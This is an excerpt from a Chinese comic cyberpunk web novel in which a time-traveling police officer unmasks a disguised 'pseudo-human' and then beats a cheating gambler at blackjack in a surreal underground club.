《伪人入侵，反诈优先》
1. 伪人世界
雨还在下。
朦胧雾气间，色彩绚烂的霓虹灯光亮如白昼，悬浮高轨列车穿梭于天幕。
夜市港味十足，飘满烧的烟气，摩擦着工业激光的烟味。
摩天楼的巨幅电子屏上闪出一行行标语：
【珍爱生命，远离伪人】
【增强群众防范意识，全面打造无伪社会】
【依法严惩类人分子，维护社会和谐稳定】
……
夜市东北角的警厅审讯室内，气氛压抑，剑拔弩张，与墙外的热闹格格不入。
“你去公共浴室，为什么不脱衣服，就坐在那儿？”女警长坐在桌前，冷冷看着对面的人。
审讯台前，梳着双马尾的女孩身着高中制服，不停瞪眼嘟嘴，倍显无辜。
“哎呀，讨厌啦！人家身材太好了，又有水蛇腰，怕其他女生嫉妒，就坐到那里看看。警官有没有类似的困扰？”
“再说这种话，我就要按精神袭警处理了。”
“我这么一个清纯辣妹问你，也能叫骚扰吗？”
女孩的手虽然铐在审讯台上，却仍大费周章地扭了扭肩膀，故意彰显魅力。
“清纯辣妹。”叶枝微微挑眉。
“对啊！我这么肤白貌美，还有糯叽叽的声音，以后可一定要生女儿，不遗传下去就太可惜啦。”
叶枝眉头没控制住一皱。
双马尾女孩继续娇滴滴道：“可怜了我中国大好男儿，以后一定要立志生个女孩。”
……
叶枝长叹一口气，扶住太阳穴。
“小子，收收味，别反串了。”
双马尾女孩露出错愕的神色：“我不明白您在说什么。”
叶枝从座位上站起，直接俯身一扯。
那长长的头发原来是假发，扯掉后，露出一片斑秃的寸头。
叶枝：“真要装，至少来点诚意，要么把头发留长，要么把下面割了。”
男人万分狼狈：“你是怎么看出我男扮女装的？”
他声音也不装了，瞬间变粗，糙汉无疑。
叶枝没有回答。
她三下两下解锁审讯台上扣押的手机，几张混入公共澡堂偷拍其她女孩的视频，立刻映入眼帘。
男人脸色大变。
啪。
叶枝把手机拍到桌面上，冷笑着反问：“你说呢？”
说话一股男频小说味，恐怕再问下去，姨妈是蓝色的都出来了。
旁边，实习辅警小刘倒吸一口冷气，哈腰上前。
“叶组长，他不是伪人，那就按普通变态处理，拘留十五天再加上罚款……罚多少来着？”
男人的嘴角微微扯动。
“慢着。”叶枝抬手。
小刘刚碰到男人的手铐，又一个激灵缩回来。
通常到这里，警长会理所当然地结束问询，下令将犯人押进拘留所。
叶枝不一样。
她是个入职两年，拥有八年工作经验的老警察了。
“我一直在观察你。”
叶枝不紧不慢，抬起保温杯抿口热水。
“你眨眼的频率很规律，十秒一次；每次眨眼后，都会立刻进行一次呼吸，无一例外。为什么？”
男人的呼吸越来越慢，直至停住，好像被揭穿的惊恐让他忘记了呼吸。
叶枝抬高水杯：“唯有这样的节奏，才能让你规律地进行呼吸，不然很容易忘掉。”
然后，她将里面的热水哗一下全部泼了上去。
“吼——”男人发出一声沉闷的低吼。
下一秒，他的皮肤融化了，露出里面黏糊糊的躯体，漆黑一片，散发着恶臭。
辅警小刘第一次见证伪人现形的场面，瞠目结舌，一动也不敢动。
“因为你根本不需要呼吸。”
男人的头变成一团浆糊，有非牛顿流体的质感，眼睛是吃剩的苹果核，嘴巴则是嵌进去的废弃塑料袋。
腐烂的恶臭扑面而来。
是垃圾场生成的泥人无疑，遇水便会显现原型。
叶枝做出一个带走的手势。
辅警小刘手哆嗦着去铐手铐，强忍着呕吐的趋势。
男扮女装也是一层故意的伪装。
为掩盖它是伪人的事实。
*
叶枝回到休息室，泡了杯八仙茶，档案簿旁的肠粉早凉透了。
雾气蒸腾中，茶水温暖了干涩的舌头。
她嚼了嚼甜丝丝的枸杞，工作一整天劳累的大脑才没那么麻木。
叶枝是穿越过来的。
她在原世界是名刑警，在边境最后一次执行任务时，走私犯趁乱冲她开了枪，然后就失去了意识。
再睁眼，就到了这里。
如今，她作为一名龙港D区的片警组长，带领一群烂泥扶不上墙的虾兵蟹将到处抓伪人。
在这个赛博化的世界中，“你不像人”是最严厉的指控。
而且还具有法律效力。
如果你能成功证明你的老公是伪人，那么离婚不仅没有冷静期，老公要净身出户，你还会得到一笔不小的赔偿金。
只可惜，当你怀疑你的老公不是人时，他大概率是人。
因为一般情况下，只有人才不干人事。
也就是说，伪人可能不是人，但你老公是真的狗。
毕竟伪人致力于融入人类社会，它们干的事可比人还像人。
叶枝三口两口吃完肠粉，空空如也的胃得到些许安慰。
这两天上级下令，要开展扫伪打非活动。
所以警卫司的各位每天一睁眼，就得去各公共场所巡查，忙得要死。
叶枝想使用精神胜利法，找寻一丝安慰。
比如，用“虽然，但是”的句式。
虽然工资不高，但是工作时长却很高呀！
虽然上司是个笨蛋，但是下属也没多聪明呀！
虽然只上了两天班，但是感觉却已经像上五天那样充实了呀！
叶枝攥紧拳头，狠狠捶一下桌子。
办公桌摇摇欲晃，很难说是她劲太大，还是装修队中饱私囊。
当当当，当当当，当当当当当……
办公室通讯台的铃声颇有圣诞老人风范，划破窗外灯红酒绿的烟火气。
叶枝看一眼来电显示，划动接通。
通讯台向墙壁上投影，上司的大脸贴在屏幕上，眼睛因发皱的眉毛挤成一团。
牛局长：“小叶啊，今天累不累？”
“累。”叶枝懒得客套，因为她真的快累死了。
牛局长：“辛苦了。上边有个普法宣传活动，明天下午要去军校宣讲，你帮我做个幻灯片。”
叶枝差点一口老血喷出：“您什么时候要？”
“明天上午十点前吧。”
九点上班，十点要，摆明了让今晚熬夜加班做。
您晚上和妻女尽享天伦之乐，我和ppt共患无妄之灾是吧！
叶枝强忍脏话：“那我是整理成全息文档，还是从智库生成数据盘？”
牛局长：“好的。”
哈？
叶枝面部扭曲，这是选择疑问句，不是判断句啊！
叶枝：“您是说全息文档，还是数据盘？”
牛局长：“对。”
叶枝：“？？？”
求转人工。
“就这样干哈，明早九点我要看到。”
通讯系统立刻切断了。
叶枝后背重重靠到椅背上，抬头望天花板。
在原世界，她已经被调休搞得精神暴躁了，没想到穿来这个离谱的赛博世界后，还要天天被上司压榨。
谁能想到，残留了几千年的
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君君臣臣封建余孽，还在3042年猖獗。
能不能把这群屁都不懂光吃年头红利的老男人都抓起来，扔进海里喂鱼啊！
叶枝想回到她属于的世界,可她不知道该怎么回去。
窗外雨渐停，夜市的喧闹渐渐褪去，天幕只剩下寂静的霓虹灯。
办公室内仅有台灯开着，悬浮高轨在百米之外的上空飞啸驶过，留下比灯光还浅的轰鸣。
叶枝倦意渐浓，合上电脑，揉揉发紧的太阳穴。
突然，墙面上有道阴影一闪而过。
叶枝警惕回头，很快，目光停在玻璃另一侧。
窗台上落着一只不明生物，正瞪着双圆圆的眼睛看她。
再定睛，竟然是只猫头鹰。
叶枝很新奇，在这个钢铁森林中，尤其是城市中心，几乎见不到野生动物的踪迹。
“咕咕。”猫头鹰的喉咙发出两声响，张开翅膀在身前摆摆。
这动作像极了作揖，成功激起了小动物爱好者的保护欲。
叶枝俯身打开右手旁的抽屉，里面还有点早上吃剩的薯条。
这薯条对于人来说太凉，但对于鸟类来说刚刚好，反正它们不讲求生活品质。
“来，给你整点薯条。”叶枝打开窗户，伸出手去。
哪知那只猫头鹰嘴并没有啄向薯条，喙一扭一勾，直接扯下叶枝腕上佩戴的信环。
叶枝愣住。
这一切发生得太快，她一时间没反应过来。
下一秒，猫头鹰振翅而飞，融进飘满彩灯的夜色中。
不会吧，在一个犯罪横行的畸形社会里，就连鸟都成了偷子！
叶枝急了，直接翻窗而出。
办公室在二楼，不过对于警校优秀毕业生来说小菜一碟，叶枝一眨眼的功夫便稳稳落了地。
如果说从中学到了什么的话，那就是不要投喂野生动物。
叶枝跟着它飞奔，暗自发誓要对小动物粉转黑。
“还给我！”跟鸟喊简直蠢到家了，可她控制不住。
说来也怪，那只猫头鹰仿佛在故意挑衅，飞得很低很慢。
于是，叶枝跟着跑了很远，仍没有放弃的打算。
龙港市中心的深夜仍很拥挤，填满科技的骨骼。
古朴建筑的门楣上挂满磁感灯，茶馆酒肆前立着三两监察机器人，眼内闪着红光。
来这世界快两年了，叶枝还是没搞明白，为什么科技如此发达，龙港的市容还满是旧社会遗风。
尤其是贫民区，低矮的旧式楼房上涂满粤式粗口，看上去颇像青砖砌成的唐楼。
灯光越色彩斑斓，社会底层的暗角就越残忍。
几个瘾君子躺在街道角落，呻吟着，太阳穴戳得千疮百孔。那是神经元连线的孔位，是透支快感的结果。
一阵冷风袭来，猫头鹰摆动的翅膀也染上了寒光。
叶枝发觉有些不对劲，放慢脚步。
作为龙港九区的警司，她对整个城市布局了如指掌，却怎么也记不得来过这里。
尖沙湾附近有这条街吗？
叶枝无意识间放慢脚步，转头看看身边的街景。
狭窄的街道两侧，列着一排低矮的房屋，飞檐翘角，雕龙画凤，表面泛着金属光泽。
再抬起头，猫头鹰却消失得无影无踪。
叶枝脚步渐慢，直至彻底停下，开始皱眉观察着街景。
冷蓝光与猩红光点交织闪烁，墙体的荧光色刺眼夺目，混着金属光泽，纸醉金迷之气扑面而来。
电子乐，炫彩灯光，烟酒气，唯有人影看不到一个。
整条街透着不祥的虚幻感。
信环没拿回来，还迷路了，今天是什么倒霉日子！
叶枝还在思考，却听身后响起一个毫无感情的机械音。
“要不要进来看看？”
2. 21点·壹
叶枝一惊，转头看到右边的小店门口，正站着个人。
男人身穿白色西装，身形枯瘦如铁，戴着顶白色礼帽，脸下紧围一圈灰色面巾。
帽檐之下，面巾之上，露出一双琥珀色的眼睛，圆溜溜的万分诡异。
是伪人！
叶枝受职业病影响，反手伸进兜里，捏住便携激光刃的刀柄。
正要掏出来时，怪人又开口了：“我知道您是警员，我要说明一下，我不是伪人。”
叶枝蹙起眉头：“那你是什么？”
她不忘保持警惕，手指按在弹刃按钮，发力若隐若现。
那人不紧不慢摘下面巾，露出一颗非人类的头。
他整张脸覆满棕色羽毛，尖锐的喙泛着淡淡寒光，瞪大的琥珀色眼睛一动不动。
“我是猫头鹰。”
叶枝：“……”
猫头鹰向前走两步，脱下礼帽，微微鞠一躬：“我是猫头鹰先生，嫌长的话，可以叫我O先生。”
叶枝心想，还是只洋鸟。
“我在此诚挚邀请您，加入我们的俱乐部。”
等等，猫头鹰？难道是这家伙偷了信环！
“还我信环！”叶枝这才反应过来。
O先生抬手戴上礼帽。
“非常抱歉，我们的员工不小心顺走了您的私人物品，请随我进去取。”
机械音毫无感情，却莫名有种温文尔雅之感。
叶枝觉得实在诡异，今晚发生的一切都很不对劲。
先被是来到个完全陌生的街区，又是碰见个自称不是伪人的猫头鹰人，最后还被引诱进什么俱乐部取信环。
叶枝很警惕：“为什么不直接拿出来？”
O先生没有回答，转身走向身边的门，步子一顿一顿像个机器人。
一串炫彩的灯红酒绿中，他走入的那扇门破旧又灰暗，与周围格格不入。
其它建筑像非法红灯区，这扇门则像是监狱大门，上方还挂着个小篆牌匾“罪域天阶”。
叶枝一身警校功夫，倒不怎么担心。
这年头，应该没人敢袭警。
叶枝彻底松开了激光刃柄，跟随猫头鹰的背影走进了那扇门的黑暗之中。
一阵刺眼的强光无中生有，扑面而来，她闭上眼睛。
再睁开眼，眼前的景象变了。
O先生站在柜台后侧，魔术般变出那个信环。
叶枝远远保持着安全距离，飞速抓过：“谢谢。”
虽然这是要回被偷的东西，对方有错在先，她还是决定礼貌些，多个朋友多条道。
叶枝能感觉到，那双琥珀色的眼睛，自始至终直勾勾地盯着她。
“其实加入我们的俱乐部吧，就是玩一个游戏。”O先生并未放弃初心。
叶枝抬手作一个叉字，表示礼貌拒绝。
她一想到未完成的工作，就提前开始肝痛，真不想浪费时间玩什么游戏。
“不会让您白玩的，俱乐部可以实现一个您的愿望，”O先生琥珀色的眼珠转一圈，“您有什么想实现的愿望吗？”
叶枝感觉，这套流程有点熟悉，而且原世界还有个专有名词，叫杀猪盘。
甚至不能说十分相似，只能说一模一样。
“可以先试玩，不满意包退。”O先生的鸟嘴一开一合，“作为试玩的酬金，我能帮你完成一个小愿望，只要不太过分。”
叶枝随口一说：“那你帮我画ppt？”
她表示，你这口出狂言之徒，先V我一个ppt看看实力。
“没问题。”O先生布满爪纹的手一抬，打了个响指。
瞬间，空中投影出一套精美的ppt，内容正是军校的普法宣讲活动。
它的配色为主流的红蓝交织，内容简介，图片数量大小均很合适，甚至连字体都是警卫司的模板。
叶枝惊呆了，这ppt只需看一眼便知，敷衍牛局长绰绰有余。
如果说先前她还有怀疑与不耐烦的情绪，此刻只剩下警惕和震撼。
这只猫头鹰跟有读心术似的！他怎么知道我要的什么内容？
O先生覆满羽毛的脸看不出任何情绪。
他泛黄枯瘦的手一握，全息幻灯片顺着只见流入掌中，化作一枚小小的数据光斑。
“试玩的酬金。”O先生掌心朝上。
叶枝没有接过，震惊让她暂时不知道该说什么。
“您在游戏中赢得的积点，可以用来兑换更多愿望。”
叶枝看一眼信环上的时间，现在赶回办公室加班，恐怕也完不成工作。
“好，我参加试玩。”叶枝动摇了，既然人家ppt都做了，不好意思不给面子。
O先生面无表情，却仿佛露出了诡异的笑容。
“感谢参与，请抽签您的专属异能。”
一眨眼的功夫，空中飘出一排骨牌倒扣在桌面上，颜色漆黑，每张牌的质感都很神秘。
叶枝问：“这跟游戏有什么关系吗？”
“您可以在游戏中使用抽到的能力。”
“到底是什么游戏？”叶枝更摸不着头脑了。
“我向您保证，绝无人身危险。”
叶枝更好奇了，而好奇通常都会害死猫。她便不再追问，低下头思索片刻，随手抓住正中央的骨牌。
O先生双掌一合，扫走剩余的骨牌。
叶枝翻开手中的骨牌，只见上面写着“改变物体温度(10度以内)”。
……
什么鬼异能，连一壶开水都做不了。
“那么，游戏开始。您可以随时退出。”
叶枝拉开那扇破旧的大门，里面漆黑一片，仿佛能吞噬万物的无尽深渊。
她转头看向那只猫头鹰，O先生只是做了个“请”的手势。
叶枝横下心，走入门后的黑暗之中。
眼前猛然变黑，再恢复视野时，她来到了一个全新的世界。
四周金碧辉煌，活像个富人的别墅或王宫。墙壁陈列着各色艺术品，石柱高耸，将整个空间切割成光怪陆离的迷宫。
叶枝迟疑着向前走，短靴踩着复合石晶地板，表面映出重叠的人影。
叮叮咔哒，机器与轮盘喧闹不休，混合烟草与电子香氛，散发出微醺的气息。
周遭的环境有些熟悉。
又走几步，叶枝想起来了，这里像极了如今已销声匿迹的场所，旧时代的罪恶——地下赌场。
各式圆桌星罗棋布，每张桌前的人神色都带着绝望或狂喜。
纸醉金迷不是错觉，这些人狂热的状态分明堪比赌博。
叶枝突然意识到，她加班到一半赶过来，身上尚穿着警服，简直加倍违反公序良俗。
她走在这充满非法气息的大厅中，一步一个不吱声。
还好只是虚拟游戏，不至于举报到风纪委员会吧！
有人抛一个酒瓶到空中，喷出一大簇鲜艳彩条，投影出骑马游街的财神爷。
不过，这里与赌场也有不同之处。
比如另一侧还有打排球、做数独、下围棋的，比传统赌博更有利于身心健康一些。
与此同时，叶枝还注意到一件怪事：每个人头顶上，都漂浮着一行意义不明的数字。
比如麻将桌前那圈人，头顶上的数字分别是“3000”“600”“55”“4400”。
走廊逼仄的角落中，几个人脖子上套着项圈，被拴在旁边的扶手上，狗一样毫无尊严，露出绝望的神情。
而他们头顶上的数字都是负数：-1200，-4500，-10000……
这是什么意思？
叶枝尚不明白，只能隐隐察觉出，数字越高地位也越高。
仍在思考时，背后传来一个声音：“呦，这位小姐，有没有兴趣和我来一把？”
叶枝闻声转头，看到一个黄毛纹身男，言行举止游戏，长相中二，应该是游戏的NPC。
“来一把什么？”叶枝挑眉。
黄毛男抬头看向叶枝的头顶，咧嘴一笑。
“看你喽，你漂亮，听你的。”
这个男的简直油得天雷盖地虎，叶枝不禁一阵恶寒。
男人肩头还蹲着一只猴子
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，瘦骨嶙峋，神色和主人同样猥琐。
叶枝顺着他的目光看去，看到自己头顶上也飘着个数字：100。
黄毛男盯着眼前的女人，口水都要流出来了：“我叫阿飞，认识下？”
虽然叶枝很不爽，却也不想殴打游戏NPC，只当精神小伙在狗叫。
“不想认识。”她耸耸肩。
“跟着哥混，保你吃好喝好，我们这种男人在女人堆里都是抢手货。”阿飞贼眉鼠眼，逼近一步。
叶枝也不后退，只用冷冰冰的目光迎向他，直至把阿飞盯到心里发毛，表情僵硬。
叶枝露出嫌弃的表情。
“你是什么牌子的塑料袋？”
“啥？”
“这么能装。”
“……”
阿飞调整片刻，强压怒火：“这么漂亮，还喜欢玩制服$诱惑，当债犬正合适不过。”
他肩上的猴子哇哇叫了两声，声音沙哑难听。
叶枝汗颜，但凡有点常识，都该能看出她身上警服的货真价实。
“你知道你在说什么吗？”
调戏警察可是重罪，拜托。
阿飞喘着粗气：“那有种你赢我，来，比一局。”
这时，身后有人拽住她的袖子：“别和他打。”
叶枝愣住，回头看到个皮肤苍白的年轻女孩，留着一刀切短发，画着浓厚的烟熏眼影。
“为什么？”叶枝困惑。
“你就剩一百了。”女孩窄而修长的眼睛透着凛冽。
叶枝反应了好几秒，才反应过来，女孩指的是自己头顶的数字。
而黄毛男阿飞头顶上的数字，是“1450”。
叶枝由此推导出来，头顶上的数字看来就是所谓的“积点”，大概是游戏内个人资产的具象化。
“我就随便玩玩。”叶枝认为，她只是平平无奇的试玩者。
阿飞有些急了，冲短发女孩恶狠狠道：“小疯子，你滚开！”
短发女孩没理会阿飞，仍看着叶枝：“你知道债犬的下场吧？”
“知道，我不在乎。”叶枝随口应付这位NPC。
短发女孩露出无可救药的神色，一句话再不多说，从皮衣口袋掏出根棒棒糖塞入口中，径直离开了。
叶枝望着她纸片般纤瘦背影，恐怖谷效应犯了，这游戏NPC够逼真，越看越像真人。
话说回来，“债犬”是什么东西？莫非就是走廊里被拴着的那些可怜人？
看到碍事的人终于走开，阿飞长舒一口气，重新笑容满面看向叶枝。
“怎么样？和我来一把嘛，玩点小的。”
“行。”叶枝眼睛都没眨一下。
阿飞的表情由心虚转为狂喜，伸手从夹克口袋掏出个奇怪的物件，从外观看像个骰子。
叶枝很新奇，盯着他的一举一动。
“建立对决，请求无相者。”阿飞捧着骰子，虔诚地冲骰子说出这句话。
请神呢？
叶枝眯起眼睛。
“滋滋滋……”
空中应声浮现出许多发光粒子，它们呈螺旋状旋转上升，飞快排列融合，直至组成一只猫头鹰。
和在办公室窗前碰见的不同，也和O先生不同，这只是纯粹的机器造物，浑身闪着金属色泽。
叶枝再次震惊，虽说身处的赛博世界科技高度发达，但凭空出现实物，还是过于超前了。
猫头鹰悠闲地扇着钢铁翅膀，用极为均匀的速度，悬浮在平视的高度。
“我是‘无相者112号’，请多指教。”它的喙一开一合，发出的合成音电量拉满。
阿飞斜眼：“那就玩‘21点’，如何？”
“随你。”叶枝以前经常和同事打牌，各种套路轻车熟路，颇有自信。
“双方同意，批准对决。”
下一秒，地面升起一个圆桌，盖着厚重的天鹅绒布，桌正中央摆了副崭新的扑克牌。
无相者112号等双方入座后，落到桌沿。
它的机械眼珠转了一圈：“现在开始‘21点’的规则说明。”
3. 21点·贰
叶枝手肘搭上桌面，四肢放松，饶有兴趣地盯着这只电子猫头鹰。
阿飞肩头蹲着的猴子挠挠屁股，灵巧地跳到地上，从桌下绕走，立刻就消失不见了。
无相者112号宣布规则：
“本对局共使用一副扑克牌，去除大小王，共52张。牌面2到10按数字计算，J/Q/K为10点，A可以为1或11点。
两人轮流抽牌，每抽一轮后，任何一方都可以决定停牌。
停牌后，比较双方手上所有牌的点数总和，点数高的人获胜；超过21点为“爆牌”，直接判定该方失败。
若两方点数相同，花色相同更多者获胜。
除此之外，A和10点牌组成的21点称为“黑杰克”，是必赢的牌型。
对局采用五局三胜制，期间禁止离开座位。”
不知不觉，牌桌旁聚来不少人，伸着脖子看，目光在两人间来回跳跃，窃窃私语。
无相者112号：“还有问题吗？”
“没有。”两人异口同声。
“请为大场进行积点押注。”
叶枝皱眉，这用词未免太过指向性，桌边的他们都成了赌徒。
阿飞盯着圆桌对面的女人，嘴越咧越开：“你押多少？”
叶枝很随意：“50点吧。”
众所周知，九年义务教育有学，不能把所有鸡蛋放进同一个篮子里。
看热闹的人们失望叹息，显然很不满意。
阿飞坏笑：“那根据上层法则，只要我想，我可以只押100点。”
“所以呢？”叶枝并不在乎。
“你要是押100，我就押——1450点。”阿飞打了个响指，甩甩满头的蓬松黄毛，还以为自己很帅。
围观者们倒吸一口冷气，静默片刻后，交头接耳得更兴奋了。
“行。”叶枝只想快点开局。
这下彻底满足了其他人看热闹的欲望，牌桌旁的人越聚越多。
“叶枝100点，朴志飞1450点，确认无误。”
无相者112号左右眼分别看向两侧，两人头顶上的数字立刻飘出，刻进它的眼珠。
咔咔咔。
它的左眼刻上发红光的“100”，右眼刻上发蓝光的“1450”。
“对局开始。”
它扇起翅膀，桌子中央的扑克牌魔术般漂浮起来。
至此，还挺神秘而绝美，叶枝挺想夸夸游戏设计师的。
直到下一秒，无相者的翅膀开出两个洞，伸出两条丑陋蜿蜒的管道，顶端连着只机械假手。
两只机械假手摇摆一会儿，抓住漂浮的扑克，手指抬落间哗啦啦洗了两次牌。
叶枝：“……”
这就是传说中的真·手工发牌吗？
两张牌稳稳飞到面前，叶枝拿起来，是红桃A和梅花5。
运气不错，毕竟手中有A可以当1也可以当11，不怎么怕爆牌。
她抬眼瞄一下对面，发现阿飞也正在看她。好像也不是完全在看她，视线略微偏离一些。
“等待叫停中……五、四、三、二、一。”
双方无人应答。
无相者112号自动推进：“那么，开始第二轮发牌。”
叶枝听力很敏锐，思考牌组概率的同时，耳边就捕捉到了围观者们的窃窃私语。
“新手跟飞哥打？不自量力。”
“飞哥还是老样子，就喜欢搞美女，啧啧。”
“资产悬殊太大，太容易输光了，等着变债犬吧。”
……
全是不看好的声音。
叶枝有了逆反心理。
她想到无数小说中逆境成神的爽文主角，也决心要在游戏中体验一把。
第二轮，她拿到了方片J。
“等待叫停中……”无相者112号仍是无情的裁判机器。
啪。
阿飞将牌扣到桌面上：“停牌。”
周围人倒吸一口冷气。
叶枝也很诧异，因为在21点的游戏中，第三局就叫停的情况少之又少。
“一方请求停牌，本场对局终止，请翻开牌面进行核算。”无相者112号发出指令。
两人翻牌——
阿飞：黑桃3+黑桃7+红桃6=16
叶枝：红桃A+梅花4+方片J=15
无相者112号玻璃眼珠一闪，计算完毕：“朴志飞胜。”
为什么拿到16点就敢叫停？
叶枝困惑，如果她是阿飞，手上拿的全是这种散牌，根本不敢叫停。
没事，高手不赢第一把。
叶枝见过各种大风大浪，目前心情平稳。
然而第二局，她还是输了。
这次也是阿飞率先叫停的，甚至仅拿到两张底牌就叫停了，摊牌后——
阿飞：红桃8+红桃4=12
叶枝：方片2+黑桃Q=12
点数相同，同花胜。
无相者112号宣布：“朴志飞胜，来到赛点局。”
没事，高手也不赢第二把。
叶枝精神状态良好，只是有些想不通。
如果没拿到“黑杰克”或17点以上，是怎么敢直接叫停的？这人胆子也太大了吧！
看客们表面叹惋，语气倒挺兴奋。
“嗨，得，这么漂亮的姑娘要当债犬喽。”
“怎么穿着警服啊？是警察吗？”
“假的吧，警察来这儿干什么。”
余光中，阿飞洋洋自得，歪嘴叼着未点燃的烟，看着很让人火大。
“咱孩子的名字我都想好了，就叫‘朴智强’如何？”他突然有些兴奋。
虽说夜深了，也不至于没睡着就开始做梦吧？见过裹小脚的，裹小脑的还是第一次见。
“朴你大爷。”叶枝回一句。
阿飞讪笑两声：“嚯，这小嘴有两下。”
“不如你敦煌本地人，全是壁画。”
阿飞足足反应三秒，才反应过来这话中话。
他恼羞成怒，扬起拳头就想隔桌打人，却被无相者112号的红眼警告吓回去。
第三轮的底牌由机械手分发，落到面前。
阿飞拿到牌，随意看一眼，就抬头看向对面某处。
叶枝手刚触到牌，突然意识到了不对劲。
他到底在看什么？
叶枝转头看向斜后方，发现阿飞养的猴子正蹲在地上吃干果，和其主人同样贼眉鼠眼。
她是专业干刑侦的，她对异常状况向来敏感，拿牌的同时，悄悄按下了信环的前置摄像头。
只见猴子左手抓起葡萄干，连吃了三颗；右手抓起花生，吃了一颗。
“等待叫停中……五、四、三、二、一。”无相者112号无情地重复着。
叶枝看向手中的牌，梅花3和红桃A，离停尚还遥远，便保持沉默。
“那么，开始第二轮发牌。”
叶枝拿起第三张牌，发现运气不错，是方片6。
赢面很大，机不可失，她立刻将牌扣到桌面上：“停牌。”
与此同时，摄像头内，猴子右手抓起花生，连吞下六颗。
阿飞嘴唇微张，面部肌肉逐渐僵硬。
两人翻牌——
阿飞：方片7+黑桃5+黑桃A=13
叶枝：梅花3+红桃A+方片6=20
“叶枝胜。”无相者112号宣布。
那只猴子果然不对劲。
叶枝彻底确定了，对方之所以赢得这么轻松，和猴子在悄悄透牌脱不了干系。
她看向正在洗牌的无相者112号：“请求暂停。”
无相者112号停下手中的动作。
“暂停批准，请说出您的诉求。”
“他作弊，”叶枝指向斜后方的猴子，“它在偷看我的牌，通过吃花生和葡萄干的方式跟他通气”
请将出老千的人绳之以法，谢谢。
然而——
“举报无效，驳回。”
耳边传来几声笑，是围观人群的幸灾乐祸。
叶枝愣住。难道猴子看牌，就不算作弊了吗？
“只要不违反规则，做什么都可以。”阿飞咧嘴大笑，眼里的光愈发攫取贪婪。
“只要不违反规则，做什么都可以。”无相者112号重复了一遍。
这也行？
叶枝不可置信，表情扭曲。
这次
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赢只是侥幸。如果她的牌持续单方面公开，博弈根本无效，再往下几乎没有胜算。
……
不行，得想出新的法子。
新与旧的信息重组，逐渐组成清晰的潜规则，短短几秒内，叶枝大脑飞速运转。
难道说，这个俱乐部最根本的生存法则——就是作弊，出老千！
把它当场宰了，送它去见齐天大圣，如何？
叶枝虽这么想，可伸手试了几次，发现猴子离得太远，不离开座位毛都碰不到。
而本场游戏规则之一便是，“整场对局期间禁止离开座位”。
坑人啊！
早知道跟这么个烂人玩作弊游戏，还不如回去加班做ppt。
两张底牌飘到面前，倒扣在桌面上，留给她得时间不多了。
不行，只要自己拿起牌看，必然也会被猴子看到。
还能怎么办？
叶枝触牌的手迟迟未动。
突然，O先生的话回荡耳边。
——您可以在游戏中使用抽到的能力。
叶枝想到了进游戏前抽到的异能，即“改变物体温度（10度以内）”。
好像有点没用。
但又好像有点用。
她瞥一眼蹲在地上的猴子，灵光一现。
啪嗒。
猴子晕倒在地上，脑袋磕到果盘边沿，干果哗啦啦洒了一地。
围观看热闹的人们爆出一阵惊呼，纷纷散开更大的圈。
桌子对面，阿飞一惊，直接汗流浃背：“我的虎子！”
叶枝这才拿起两张底牌，泰然自若地看了起来。
“放心，它只是发烧了，休息一晚就好。”
阿飞嘴角发颤，额角和掌心不停渗出汗珠，下意识用手背去擦汗，却发现手心也浸满了汗水。
无相者发出第二轮的牌。
叶枝心想，世界终于清净公平了。
只是她没想到，还是高兴得太早了。不知从哪蹦出一只金刚鹦鹉，扑腾扑腾停到叶枝身后的台柱上。
金刚鹦鹉直接叫：“咯咯咯咯。”
只因叶枝摸到了方片4。
“……”叶枝露出杀人的微笑。
鸟类没一个好东西！
很好，明天午饭龙门烤鸭走起。
不过，叶枝心里大概也有数了，这个男人也有异能，推测是能控制动物。
阿飞不仅不以为耻，反而更得意了：“欺负新人不算什么好汉，也不用给我生孩子了，给我当一年女朋友吧。”
叶枝开了眼了，就算掘地三尺，都挖不出这么纯的神金。
啪嗒。
金刚鹦鹉也倒下了，嘴里含糊不清地咯几声，白眼一翻，就晕了过去。
阿飞目瞪口呆，随后面部扭曲。
叶枝轻抬下巴，戏谑道：“来一个，发烧一个。”
“你的异能是让生物发烧？”阿飞没控制住叫了起来。
他的叫声可以用歇斯底里形容，难听得很。
“你猜。”叶枝报以神秘的微笑。
这下，双方终于完全对等了。
叶枝很聪明，尤其是数理科目强得可怕，能瞬间估计出每种组合的胜率期望。
更何况，对方作为作弊老手，一下子离开舒适区，牌好坏与否在表情上尽数体现。
第四局——
阿飞：方片K+黑桃3+梅花Q=23
叶枝：红桃3+红桃7+黑桃6=16
阿飞爆牌，叶枝获胜。
叶枝审讯犯人审惯了，对于微表情的解读手到擒来，瞥一眼，就能估测出阿飞手中点数。
概率论加上心理学。
再加一点运气。
完美。
第五局——
阿飞：方片J+黑桃5+黑桃A=16
叶枝：梅花3+红桃A+方片6=20
叶枝获胜。
阿飞看到结果，双眼彻底放弃聚焦，双臂一软，身子瘫到牌桌上，发出沉重的闷响。
无相者112号伸出机械手，收回双方的扑克牌。
“大场比分3：2，本场对决叶枝胜。”
……
“押注全部转移到获胜方。”
4. 21点·叁
无相者112号双眼刻的积点化作一道流光，飞旋而出，最终悬停在叶枝的头顶。
数字如同皇冠加冕。
叶枝头顶上的数字，变成了“1550”。
围观者的热情瞬间点燃，惊叹声此起彼伏，比看狗血剧的大反转都要兴奋。
叶枝承认，这游戏似乎有点意思。尤其是看油腻男吃瘪，简直不要太爽好吗！
如果上班也是打牌就好了，那她一定要狠狠赢了牛局长，然后让老男人滚出警卫司。
“朴志飞积点清零，债犬条件达成。”无相者112号毫无感情。
这句话宛如一记重锤，敲碎场内短暂的混乱，随即引发一阵更大的骚动。
有人率先吹起口哨，欢呼起来。
“好死！”
显然，阿飞平日立了不少仇家，想看他沦为债犬的人比比皆是，都笑嘻了。
“直到下次洗牌大会前，无法解除债犬身份。”无相者112号补充一句。
阿飞脸色煞白，然而看到叶枝轮廓柔和的侧脸后，又佯装镇定些许。
“当债犬会怎么样？”叶枝很是好奇，这里的一切于她都很新奇。
无相者112号：“将其变为债犬的战胜者有优先支配权，可以命令其干任何事情，前提不违反俱乐部守则。”
原来是这样。
不过叶枝实在嫌弃，就算当奴隶都嫌累赘，才不要这人给自己当狗。
她扫视一周：“我不需要债犬，有人想要吗？”
此言一出，现场气氛骤变。
还有转让债犬使用权的？没听说过！
众人先是一愣，随后交头接耳，议论纷纷，就是无人敢应答。
叶枝提高音量，再次招标做慈善：“有没有人想让他当狗的？”
阿飞瞪大眼睛，慌忙吼道：“不行！支配权没有转让的！”
“测算中……”无相者112号脑袋迸出机械急速运转的声音，“总相平衡，转让批准。”
